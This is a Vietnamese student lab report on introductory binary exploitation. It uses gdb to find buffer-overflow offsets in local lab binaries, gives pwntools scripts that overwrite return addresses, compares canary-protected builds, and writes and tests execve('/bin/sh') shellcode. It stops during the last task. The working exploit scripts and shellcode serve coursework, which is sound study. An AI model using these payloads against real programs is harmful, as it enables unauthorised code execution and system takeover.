

BÁO CÁO BÀI TẬP

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Lab 3: Nhập môn Pwnable

GVHD: Nguyễn Hữu Quyền

THÔNG TIN CHUNG:

Lớp: NT521.P12.ANTT.2

STT	Họ và tên	MSSV	Email
1	Lại Quan Thiên	22521385	22521385@gm.uit.edu.vn
2	Mai Nguyễn Nam Phương	22521164	22521164@gm.uit.edu.vn
3	Đặng Đức Tài	22521270	22521270@gm.uit.edu.vn
4	Hồ Diệp Huy	22520541	22520541@gm.uit.edu.vn

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

BÁO CÁO CHI TIẾT

Các bước thực hiện/ Phương pháp thực hiện/Nội dung tìm hiểu (Ảnh chụp màn hình, có giải thích)

Yêu cầu 1. Sinh viên khai thác lỗ hổng buffer overflow của chương trình **app1-no-canary**, nhằm khiến chương trình gọi hàm **get_shell()** để mở shell tương tác.

```

804875b: 55      push    %ebp
804875c: 89 e5   mov     %esp, %ebp
804875e: 83 ec 18 sub     $0x18, %esp
8048761: 83 ec 08 sub     $0x8, %esp
8048764: 8d 45 e8 lea     -0x18(%ebp), %eax
8048767: 50      push    %eax
8048768: 68 ba 8a 04 08 push    $0x8048aba
804876d: e8 2e fe ff ff call    80485a0 <_isoc99_scanf@plt>
8048772: 83 c4 10 add     $0x10, %esp
  
```

Như vậy khoảng cách giữa 2 thành phần này là bao nhiêu? Input cần dài bao nhiêu để ghi đè được lên ret-addr?

- Xem code assembly của **check()**, hàm này trước khi gọi hàm **scanf()** có đẩy 2 tham số vào stack. Dựa trên quy tắc đẩy tham số “ngược”, địa chỉ lưu tại **%eax = %ebp – 0x18** được ánh xạ làm vị trí của chuỗi **buf**. Bên cạnh đó, **ret-addr** của 1 hàm luôn nằm trong stack ở vị trí **%ebp + 4**. Khoảng cách giữa 2 thành phần này là:

$$(\%ebp + 4) - (\%ebp - 0x18) = 28 \text{ bytes}$$

=> Input cần dài ít nhất $28 + 4$ (ret addr) = 32 bytes để ghi đè được lên ret-addr.

- Hàm gọi hàm **check()** là **main_func**, xem code assembly của hàm này và tìm địa chỉ của hàm **check()** bằng câu lệnh **gdb-peda\$ disassemble main_func**:

```

0x08048827: <+117>: push    0x8048aef
0x0804882c: <+122>: call    0x80484f0 <printf@plt>
0x08048831: <+127>: add     esp, 0x10
0x08048834: <+130>: call    0x804875b <check>
0x08048839: <+135>: sub     esp, 0xc
0x0804883c: <+138>: push    0x8048af9
0x08048841: <+143>: call    0x8048530 <puts@plt>
0x08048846: <+148>: add     esp, 0x10
0x08048849: <+151>: nop
  
```

- Chạy chương trình với gdb ở chế độ start, đặt check point hay khi vào hàm **check** để xem địa chỉ trả về.

```

gdb-peda$ start
[-----registers-----]
EAX: 0xf7fb088 --> 0xffffd1dc --> 0xffffd3a7 ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0xffffd140 --> 0x1
EDX: 0xffffd164 --> 0x0
ESI: 0xf7fb5000 --> 0x1e8d6c
EDI: 0xf7fb5000 --> 0x1e8d6c
EBP: 0xffffd128 --> 0x0
ESP: 0xffffd124 --> 0xffffd140 --> 0x1
EIP: 0x8048920 (<main+14>: sub esp,0x14)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x804891c <main+10>: push ebp
0x804891d <main+11>: mov ebp,esp
0x804891f <main+13>: push ecx
=> 0x8048920 <main+14>: sub esp,0x14
0x8048923 <main+17>: mov DWORD PTR [ebp-0xc],0x0
0x804892a <main+24>: mov DWORD PTR [ebp-0x10],0x0
0x8048931 <main+31>: mov DWORD PTR [ebp-0x14],0x1
0x8048938 <main+38>: sub esp,0x8
[-----stack-----]
0000| 0xffffd124 --> 0xffffd140 --> 0x1
0004| 0xffffd128 --> 0x0
0008| 0xffffd12c --> 0xf7de6d5 (<__libc_start_main+245>: add esp,0x10)
0012| 0xffffd130 --> 0xf7fb5000 --> 0x1e8d6c
0016| 0xffffd134 --> 0xf7fb5000 --> 0x1e8d6c
0020| 0xffffd138 --> 0x0
0024| 0xffffd13c --> 0xf7de6d5 (<__libc_start_main+245>: add esp,0x10)
0028| 0xffffd140 --> 0x1
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x8048920 in main ()
gdb-peda$ b* 0x8048834
Breakpoint 2 at 0x8048834
gdb-peda$

```

- Thử nhập input “AAAA”. Giá trị “AAAA” sẽ được lưu vào địa chỉ **0x55683968**, có nghĩa địa chỉ này là nơi bắt đầu lưu trữ biến **buf**.

```

gdb-peda$ n
Password:AAAA
[-----registers-----]
EAX: 0x1
EBX: 0x0
ECX: 0x0
EDX: 0xf7fb5000 --> 0x1e8d6c
ESI: 0xf7fb5000 --> 0x1e8d6c
EDI: 0xf7fb5000 --> 0x1e8d6c
EBP: 0x55683980 --> 0x55685fe0 --> 0xffffd0f8 --> 0xffffd128 --> 0x0
ESP: 0x55683958 --> 0x8048aba --> 0x32007325 ('%s')
EIP: 0x8048772 (<check+23>: add esp,0x10)
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x8048767 <check+12>: push eax
0x8048768 <check+13>: push 0x8048aba
0x804876d <check+18>: call 0x80485a0 (<__isoc99_scanf@plt>)
=> 0x8048772 <check+23>: add esp,0x10
0x8048775 <check+26>: sub esp,0x8
0x8048778 <check+29>: push 0x8048abd
0x804877d <check+34>: lea eax,[ebp-0x18]
0x8048780 <check+37>: push eax
[-----stack-----]
0000| 0x55683958 --> 0x8048aba --> 0x32007325 ('%s')
0004| 0x5568395c ("h9hu|9hu")
0008| 0x55683960 ("|9hu")
0012| 0x55683964 ("AAAA")
0016| 0x55683968 ("AAAA")
0020| 0x5568396c --> 0xf7ffd900 --> 0x0
0024| 0x55683970 --> 0xf7e1bd39 (<printf+9>: add eax,0x1992c7)
0028| 0x55683974 --> 0x8048831 (<main_func+127>: add esp,0x10)
Legend: code, data, rodata, value
0x8048772 in check ()

```

- Tiếp theo dùng lệnh “x/20wx <địa chỉ thanh ghi>” để xem giá trị của các thanh ghi lân cận, ta thấy được giá trị “AAAA” đã nhập và địa chỉ trả về:

```

gdb-peda$ x/20wx 0x55683968
0x55683968: 0x41414141 0xf7ffd900 0xf7e1bd39 0x08048831
0x55683978: 0x08048aef 0x000000f4 0x55685fe0 0x08048839
0x55683988: 0x00000000 0x00000000 0xf4f4f4f4 0xf4f4f4f4
0x55683998: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0x556839a8: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
gdb-peda$

```

Thử tính khoảng cách giữa biến buf và ret-addr dựa trên 2 địa chỉ này? Từ đó xác định độ dài input cần nhập để ghi đè được ret-addr?

- Khoảng cách giữa biến buf và ret-addr dựa trên 2 địa chỉ này: $6 * 4 = 24$ bytes

⇒ Độ dài input cần: $24 + 4$ (buf) + 4 (ret-addr) = **32 bytes**

- Tiếp theo chỉnh sửa file exploit-app1.py để khai thác:

+ Chỉnh sửa địa chỉ trả về theo Little Endian

+ Chèn số byte chữ a phù hợp (28 bytes chữ a)

```

exploit-app1.py X
exploit-app1.py > [0] payload
1  from pwn import *
2
3  get_shell = b"\x2b\x87\x04\x08" # Địa chỉ của get_shell
4
5  # Số byte cần thiết để ghi đè lên return address
6  # Ghi đè lên giá trị tại 0x55683998 (là 0x08048839 trong stack)
7  payload = b"a"*28 + get_shell
8
9  # In payload để kiểm tra
10 print("Payload: ", payload)
11
12 # Chạy chương trình app1-no-canary
13 exploit = process("./app1-no-canary")
14
15 # Nhận thông tin khởi đầu từ chương trình
16 print(exploit.recv())
17
18 # Gửi payload để khai thác

```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```

[*] Switching to interactive mode
Password:Invalid Password!
Call get_shell
$ ls
app1-no-canary  app2-no-canary  exploit-app1.py
app2-canary     demo            peda-session-app1-no-canary.txt
$ pwd
/home/dducktai/Downloads/Lab3-resource
$

```

Yêu cầu 2. Sinh viên thực hiện theo hướng dẫn để quan sát khác biệt về code và giá trị stack canary được thêm để bảo vệ stack khỏi tấn công buffer overflow.

So sánh khác biệt trong code của 2 phiên bản, sinh viên thử xác định vị trí các đoạn code sau trong code assembly:

- Thêm giá trị canary vào stack, dự đoán vị trí của canary trong stack?
- Kiểm tra giá trị canary trước khi kết thúc hàm.

- Sau khi checksec, có 1 chương trình dùng canary và 1 chương trình không dùng canary:

```
dducktai@ubuntu:~/Downloads/Lab3-resource$ gdb ./app2-no-canary
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./app2-no-canary...
(No debugging symbols found in ./app2-no-canary)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
```

```
dducktai@ubuntu:~/Downloads/Lab3-resource$ gdb ./app2-canary
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./app2-canary...
(No debugging symbols found in ./app2-canary)
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
```

- So sánh mã assembly hàm main trong 2 chương trình để tìm vị trí canary được thêm vào:

File ./app2-no-canary

```
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0004852b <+0>: push    ebp
0x0004852c <+1>: mov     ebp,esp
0x0004852e <+3>: push    ebx
0x0004852f <+4>: sub     esp,0x10
0x00048532 <+7>: call    0x000483d0 <getuid@plt>
0x00048537 <+12>: mov     ebx,eax
0x00048539 <+14>: call    0x000483d0 <getuid@plt>
0x0004853e <+19>: push    ebx
0x0004853f <+20>: push    eax
0x00048540 <+21>: call    0x000483f0 <setreuid@plt>
0x00048545 <+26>: add     esp,0x8
0x00048548 <+29>: push    0x00048630
0x0004854d <+34>: call    0x000483e0 <puts@plt>
0x00048552 <+39>: add     esp,0x4
0x00048555 <+42>: push    0x0004863a
0x0004855a <+47>: call    0x000483c0 <printf@plt>
0x0004855f <+52>: add     esp,0x4
0x00048562 <+55>: lea     eax,[ebp-0x14]
0x00048565 <+58>: push    eax
0x00048566 <+59>: push    0x00048644
0x0004856b <+64>: call    0x00048410 <__isoc99_scanf@plt>
0x00048570 <+69>: add     esp,0x8
0x00048573 <+72>: push    0x00048647
0x00048578 <+77>: lea     eax,[ebp-0x14]
0x0004857b <+80>: push    eax
0x0004857c <+81>: call    0x000483b0 <strcmp@plt>
0x00048581 <+86>: add     esp,0x8
0x00048584 <+89>: test    eax,eax
0x00048586 <+91>: jne     0x00048597 <main+108>
0x00048588 <+93>: push    0x0004864e
0x0004858d <+98>: call    0x000483e0 <puts@plt>
0x00048592 <+103>: add     esp,0x4
0x00048595 <+106>: jmp     0x000485a4 <main+121>
0x00048597 <+108>: push    0x0004865d
0x0004859c <+113>: call    0x000483e0 <puts@plt>
0x000485a1 <+118>: add     esp,0x4
0x000485a4 <+121>: mov     eax,0x0
0x000485a9 <+126>: mov     ebx,DWORD PTR [ebp-0x4]
0x000485ac <+129>: leave
0x000485ad <+130>: ret
End of assembler dump.
```

File ./app2-canary

```
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0004857b <+0>: push    ebp
0x0004857c <+1>: mov     ebp,esp
0x0004857e <+3>: push    ebx
0x0004857f <+4>: sub     esp,0x18
0x00048582 <+7>: mov     eax,DWORD PTR [ebp+0xc]
0x00048585 <+10>: mov     DWORD PTR [ebp+0x1c],eax
0x00048588 <+13>: mov     eax,0x14
0x0004858e <+19>: mov     DWORD PTR [ebp+0x8],eax
0x00048591 <+22>: xor     eax,eax
0x00048593 <+24>: call    0x000483d0 <getuid@plt>
0x00048598 <+29>: mov     ebx,eax
0x0004859a <+31>: call    0x00048420 <getuid@plt>
0x0004859f <+36>: push    ebx
0x000485a0 <+37>: push    eax
0x000485a1 <+38>: call    0x00048440 <setreuid@plt>
0x000485a6 <+43>: add     esp,0x8
0x000485a9 <+46>: push    0x000486a0
0x000485ae <+51>: call    0x00048430 <puts@plt>
0x000485b3 <+56>: add     esp,0x4
0x000485b6 <+59>: push    0x000486aa
0x000485bb <+64>: call    0x00048400 <printf@plt>
0x000485c0 <+69>: add     esp,0x4
0x000485c3 <+72>: lea     eax,[ebp-0x18]
0x000485c6 <+75>: push    eax
0x000485c7 <+76>: push    0x000486b4
0x000485cc <+81>: call    0x00048460 <__isoc99_scanf@plt>
0x000485d1 <+86>: add     esp,0x8
0x000485d4 <+89>: push    0x000486b7
0x000485d9 <+94>: lea     eax,[ebp-0x18]
0x000485dc <+97>: push    eax
0x000485dd <+98>: call    0x000483f0 <strcmp@plt>
0x000485e2 <+103>: add     esp,0x8
0x000485e5 <+106>: test    eax,eax
0x000485e7 <+108>: jne     0x000485f8 <main+125>
0x000485e9 <+110>: push    0x000486be
0x000485ee <+115>: call    0x00048430 <puts@plt>
0x000485f3 <+120>: add     esp,0x4
0x000485f6 <+123>: jmp     0x00048605 <main+138>
0x000485f8 <+125>: push    0x000486cd
0x000485fd <+130>: call    0x00048430 <puts@plt>
0x00048602 <+135>: add     esp,0x4
0x00048605 <+138>: mov     eax,0x0
0x0004860a <+143>: mov     edx,DWORD PTR [ebp+0x8]
0x0004860d <+146>: xor     edx,DWORD PTR gs:0x14
0x00048614 <+153>: je      0x0004861b <main+160>
0x00048616 <+155>: call    0x00048410 <__stack_chk_fail@plt>
0x0004861b <+160>: mov     ebx,DWORD PTR [ebp-0x4]
0x0004861e <+163>: leave
0x0004861f <+164>: ret
End of assembler dump.
```

- Ý nghĩa:

- + `mov eax, gs:0x14`: Lấy giá trị canary từ vị trí đặc biệt `0x0804858e`
- + `mov DWORD PTR [ebp-0x8], eax`: Lưu canary vào stack
- + `gs:0x14`: Đây là vị trí trong segment register, nơi hệ thống lưu giá trị canary.
- + `[ebp-0x8]`: Giá trị canary được lưu trên stack tại địa chỉ (`ebp - 0x8`).

- Dự đoán vị trí của canary trong stack:

+ Với cách quản lý stack trong chương trình này, canary được đặt ở `[ebp-0x8]` (ngay bên dưới biến cục bộ) và sẽ thay đổi sau mỗi lần chạy chương trình.

```
gdb-peda$ x/wx $ebp - 8
0xfffffd130: 0xf7fb5000
```

+ Mục đích là nếu có overflow từ biến cục bộ, giá trị canary sẽ bị thay đổi, và chương trình sẽ phát hiện.

- Đoạn code kiểm tra giá trị canary trước khi kết thúc hàm nằm ở cuối hàm, trước khi gọi lệnh `ret` để trả về địa chỉ gọi hàm. Đoạn code này sử dụng lệnh `xor` để so sánh giá trị canary trên stack với giá trị canary ban đầu. Nếu hai giá trị khác nhau, nghĩa là canary đã bị thay đổi do tràn bộ đệm, thì chương trình sẽ gọi hàm `_stack_chk_fail` để kết thúc chương trình:

```
0x080485fd <+130>: call 0x08048430 <puts@plt>
0x08048602 <+135>: add esp,0x4
0x08048605 <+138>: mov eax,0x0
0x0804860a <+143>: mov edx,DWORD PTR [ebp-0x8]
0x0804860d <+146>: xor edx,DWORD PTR gs:0x14
0x08048614 <+153>: je 0x0804861b <main+160>
0x08048616 <+155>: call 0x08048410 <__stack_chk_fail@plt>
0x0804861b <+160>: mov ebx,DWORD PTR [ebp-0x4]
0x0804861e <+163>: leave
0x0804861f <+164>: ret
```

Sinh viên debug file `app2-canary` với `gdb` để xem giá trị stack canary là bao nhiêu?

- Chạy chương trình và đặt break point tại lệnh ở địa chỉ `0x0804860a`, là lệnh `mov` giá trị trước lệnh `je` để dừng chương trình trước khi thực hiện so sánh với canary:

```
0x08048605 <+138>: mov eax,0x0
0x0804860a <+143>: mov edx,DWORD PTR [ebp-0x8]
0x0804860d <+146>: xor edx,DWORD PTR gs:0x14
0x08048614 <+153>: je 0x0804861b <main+160>
0x08048616 <+155>: call 0x08048410 <__stack_chk_fail@plt>
0x0804861b <+160>: mov ebx,DWORD PTR [ebp-0x4]
0x0804861e <+163>: leave
```

- Tiếp theo nhập “c” để chạy chương trình và nhập input là chuỗi dài ký tự “w”
Chương trình đã dừng ở break point:



```

Password:www1www2www3www4www5www6www7www8www9www10www11www12www13www14www15www16www17www18www19www20www21www22www23www24www25www26www27www28www29www30www31www32www33www34www35www36www37www38www39www40www41www42www43www44www45www46www47www48www49www50www51www52www53www54www55www56www57www58www59www60www61www62www63www64www65www66www67www68www69www70www71www72www73www74www75www76www77www78www79www80www81www82www83www84www85www86www87www88www89www90www91www92www93www94www95www96www97www98www99
Invalid Password!
[-----registers-----]
EAX: 0x0
EBX: 0x3e8
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7fb5000 --> 0x1e8d6c
EDI: 0xf7fb5000 --> 0x1e8d6c
EBP: 0xffffd138 ('w' <repeats 51 times>)
ESP: 0xffffd11c --> 0xffffd1d4 --> 0xffffd377 ("/home/dducktai/Downloads/Lab3-resource/app2-canary")
EIP: 0x804860a (<main+143>:      mov     edx,DWORD PTR [ebp-0x8])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x80485fd <main+130>:      call    0x8048430 <puts@plt>
0x8048602 <main+135>:      add     esp,0x4
0x8048605 <main+138>:      mov     eax,0x0
=> 0x804860a <main+143>:      mov     edx,DWORD PTR [ebp-0x8]
0x804860d <main+146>:      xor     edx,DWORD PTR gs:0x14
0x8048614 <main+153>:      je      0x804861b <main+160>
0x8048616 <main+155>:      call    0x8048410 <__stack_chk_fail@plt>
0x804861b <main+160>:      mov     ebx,DWORD PTR [ebp-0x4]
[-----stack-----]
0000| 0xffffd11c --> 0xffffd1d4 --> 0xffffd377 ("/home/dducktai/Downloads/Lab3-resource/app2-canary")
0004| 0xffffd120 ('w' <repeats 75 times>)
0008| 0xffffd124 ('w' <repeats 71 times>)
0012| 0xffffd128 ('w' <repeats 67 times>)
0016| 0xffffd12c ('w' <repeats 63 times>)
0020| 0xffffd130 ('w' <repeats 59 times>)
0024| 0xffffd134 ('w' <repeats 55 times>)
0028| 0xffffd138 ('w' <repeats 51 times>)
[-----]
Legend: code, data, rodata, value

```

mov edx,DWORD PTR [ebp-0x8]	Câu lệnh này sẽ mov một giá trị tại địa chỉ [ebp-0x8] vào thanh ghi edx
xor edx,DWORD PTR gs:0x14	Thực hiện phép xoredx với giá trị tại gs:0x14
je 0x804861b <main+160>	Nếu kết quả xor bằng 0 thì nhảy tới <main+160> ngược lại sẽ đến lệnh <main + 155> để gọi hàm stack_chk_fail
call 0x8048410 <__stack_chk_fail@plt>	Gọi hàm khi kiểm tra giá trị stack fail

- Tiếp tục nhập lệnh n. Chúng ta thấy chương trình đã thực thi xong lệnh ở địa chỉ **0x804860a** và giá trị thanh ghi EDX lúc này là “www” (tác động của chuỗi input đã nhập).

```

[-----registers-----]
EAX: 0x0
EBX: 0x3e8
ECX: 0xffffffff
EDX: 0x77777777 ('www')
ESI: 0xf7fb5000 --> 0x1e8d6c
EDI: 0xf7fb5000 --> 0x1e8d6c
EBP: 0xffffd138 ('w' <repeats 51 times>)
ESP: 0xffffd11c --> 0xffffd1d4 --> 0xffffd377 ("/home/dducktai/Downloads/Lab3-resource/app2-canary")
EIP: 0x804860d (<main+146>: xor edx,DWORD PTR gs:0x14)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

```

- Tiếp tục nhập “n” để chạy. Lệnh XOR được thực hiện và giá trị thanh ghi EDX là 0x92a77a77. Lệnh je tiếp theo sẽ được thực hiện để kiểm tra xem có nhảy tới hàm <stack_chk_fail>. Như vậy, để tránh gọi hàm <stack_chk_fail>, sau khi XOR giá trị EDX phải bằng 0 để chứng tỏ giá trị stack canary chưa bị thay đổi. Từ đó, trong trường hợp không có tấn công buffer overflow, giá trị của EDX trước khi thực hiện lệnh XOR sẽ là giá trị canary cần tìm.

- Để xem được giá trị canary là bao nhiêu, chúng ta cần input với trường hợp không xảy ra buffer overflow và xem giá trị của EDX:

```

EAX: 0x0
EBX: 0x3e8
ECX: 0xffffffff
EDX: 0x1833ef00
ESI: 0xf7fb5000 --> 0x1e8d6c
EDI: 0xf7fb5000 --> 0x1e8d6c
EBP: 0xffffd138 --> 0x0
ESP: 0xffffd11c --> 0xffffd1d4 --> 0xffffd377 ("/home/dducktai/Downloads/Lab3-resource/app2-canary")
EIP: 0x804860d (<main+146>: xor edx,DWORD PTR gs:0x14)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x8048602 <main+135>: add esp,0x4
0x8048605 <main+138>: mov eax,0x0
0x804860a <main+143>: mov edx,DWORD PTR [ebp-0x8]
=> 0x804860d <main+146>: xor edx,DWORD PTR gs:0x14
0x8048614 <main+153>: je 0x804861b <main+160>
0x8048616 <main+155>: call 0x8048410 <__stack_chk_fail@plt>
0x804861b <main+160>: mov ebx,DWORD PTR [ebp-0x4]
0x804861e <main+163>: leave
[-----stack-----]

```

Sinh viên thử debug lại **app2-canary** để xác định giá trị canary? Giá trị này thay đổi ra sao ở mỗi lần debug?

- Sau vài lần debug có thể thấy giá trị này thay đổi qua mỗi lần debug để ngăn cản kẻ tấn công đoán được giá trị này.

Yêu cầu 3. Sinh viên thực hiện truyền và thực thi code có chức năng thoát chương trình qua lỗ hổng buffer overflow như bên dưới với file **app1-no-canary**.

- Shellcode truyền vào input:

```
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ cat test.s
movl $1, %eax
int $0x80
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ gcc -m32 -c test.s -o test
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ objdump -d testst
objdump: 'testst': No such file
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ objdump -d test

test:      file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:  b8 01 00 00 00      mov     $0x1,%eax
   5:  cd 80              int     $0x80
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$
```

- Địa chỉ trả về: 0x08048839

```
0x080487b1 <+86>:      ret
End of assembler dump.
gdb-peda$ x/8xw $esp
0x55683984:  0x08048839      0x00000000      0x00000000      0xf4f4
f4f4
0x55683994:  0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4
f4f4
```

- Giá trị input được lưu bắt đầu ở 0x55683968

```
[-----code-----]
0x8048767 <check+12>:  push    eax
0x8048768 <check+13>:  push    0x8048aba
0x804876d <check+18>:  call    0x80485a0 <__isoc99_scanf@plt>
=> 0x8048772 <check+23>:  add     esp,0x10
0x8048775 <check+26>:  sub     esp,0x8
0x8048778 <check+29>:  push    0x8048abd
0x804877d <check+34>:  lea     eax,[ebp-0x18]
0x8048780 <check+37>:  push    eax
[-----stack-----]
Help
0000| 0x55683958 --> 0x8048aba --> 0x32007325 ('%s')
0004| 0x5568395c ("h9hU|9hU")
0008| 0x55683960 ("|9hU")
0012| 0x55683964 --> 0x0
0016| 0x55683968 ("250382")
0020| 0x5568396c --> 0xf7003238
0024| 0x55683970 --> 0xf7dd5529 (<printf+9>:      add     eax,0x1cead7)
0028| 0x55683974 --> 0x8048831 (<main_func+127>:    add     esp,0x10)
[-----]
Legend: code, data, bss, rodata, value
```

- Code thực thi:

```
GNU nano 6.2 app1-exploit-code.py
from pwn import *
shellcode = b'\xb8\x01\x00\x00\x00\xcd\x80'
padding = b'A'*21
new_return_address = b'\x68\x39\x68\x55'
payload = shellcode + padding + new_return_address
exploit = process("./app1-no-canary")
print(exploit.recv())
exploit.sendline(payload)
print(payload)
```

- Kết quả:

```
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ python3 app1-exploit-code.py
[+] Starting local process './app1-no-canary': pid 5275
b'Pwn basic\n'
b'\xb8\x01\x00\x00\x00\xcd\x80AAAAAAAAAAAAAAAAAAAAAAh9hU'
[*] Stopped process './app1-no-canary' (pid 5275)
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$
```

Yêu cầu 4. Sinh viên thực hiện viết shellcode theo hướng dẫn bên dưới.

- Code:

```
GNU nano 6.2 shellcode_nhom6.asm
section .text
global _start
_start:
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx, '/bin//sh'
push rbx
push rsp
pop rdi
mov al, 0x3b
syscall
```

- Kết quả thực thi code:

```
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ nano shellcode_nhom6.asm
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ nasm -f elf64 shellcode_nhom6.asm -o shellcode_nhom6.o
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ ld shellcode_nhom6.o -o shellcode_nhom6
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ ./shellcode_nhom6
$ whoami
ubuntu
$
```

- Code:

```
GNU nano 6.2 test_shell.c *
#include <stdio.h>
void main()
{
    unsigned char shellcode[] = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" ;
    int (*ret)() = (int(*)())shellcode;
    ret();
}
```

- Kết quả thực thi code:

```
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ nano test_shell.c
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ gcc -z execstack -o test_shell test_shell.c
ubuntu@hohuy:~/Lab3_Pwnable/Lab3-resource$ ./test_shell
$ whoami
ubuntu
$
```

Yêu cầu 5. Sinh viên thực hiện khai thác lỗ hổng buffer overflow của file **demo** để truyền và thực thi được đoạn shellcode đã viết. Báo cáo chi tiết các bước tấn công.

Trả lời:

- Trước tiên, ta sử dụng gdb để debug chương trình:

```
wanthinnn@ThinnnUbuntu:~/Documents/NT521/Lab_3/Lab3-resource$ gdb demo
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from demo...
(No debugging symbols found in demo)
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000000000401132 <+0>:      push    rbp
0x0000000000401133 <+1>:      mov     rbp, rsp
0x0000000000401136 <+4>:      sub     rsp, 0x20
0x000000000040113a <+8>:      lea     rax, [rbp-0x20]
0x000000000040113e <+12>:     mov     rsi, rax
0x0000000000401141 <+15>:     lea     rdi, [rip+0xebc]          # 0x402004
0x0000000000401148 <+22>:     mov     eax, 0x0
0x000000000040114d <+27>:     call   0x401030 <printf@plt>
0x0000000000401152 <+32>:     lea     rax, [rbp-0x20]
0x0000000000401156 <+36>:     mov     rdi, rax
0x0000000000401159 <+39>:     mov     eax, 0x0
0x000000000040115e <+44>:     call   0x401040 <gets@plt>
0x0000000000401163 <+49>:     mov     eax, 0x0
0x0000000000401168 <+54>:     leave
0x0000000000401169 <+55>:     ret
```

- Tiếp theo, ta đặt break point tại main+44 là hàm gets():

```
gdb-peda$ b * main+44
Breakpoint 1 at 0x40115e
```

- Sau đó, ta ấn phím n cho tới khi nào chương trình cho mình nhập giá trị vào:

```
Legend: code, data, rodata, value
0x0000000000401159 in main ()
gdb-peda$ n
[-----registers-----]
RAX: 0x0
RBX: 0x401170 (<__libc_csu_init>:      push    r15)
RCX: 0x0
RDX: 0x0
RSI: 0x4052a0 ("DEBUG: 0x7fffffff260\n")
RDI: 0x7fffffff260 --> 0x0
RBP: 0x7fffffff280 --> 0x0
RSP: 0x7fffffff260 --> 0x0
RIP: 0x40115e (<main+44>:      call   0x401040 <gets@plt>)
R8 : 0x0
R9 : 0x16
R10: 0x40200d --> 0x3c3b031b0100000a
R11: 0x246
R12: 0x401050 (<_start>:      xor     ebp, ebp)
R13: 0x7fffffff370 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x401152 <main+32>: lea     rax, [rbp-0x20]
0x401156 <main+36>: mov     rdi, rax
0x401159 <main+39>: mov     eax, 0x0
=> 0x40115e <main+44>: call   0x401040 <gets@plt>
0x401163 <main+49>: mov     eax, 0x0
0x401168 <main+54>: leave
0x401169 <main+55>: ret
0x40116a:      nop     WORD PTR [rax+rax*1+0x0]
Guessed arguments:
arg[0]: 0x7fffffff260 --> 0x0
[-----stack-----]
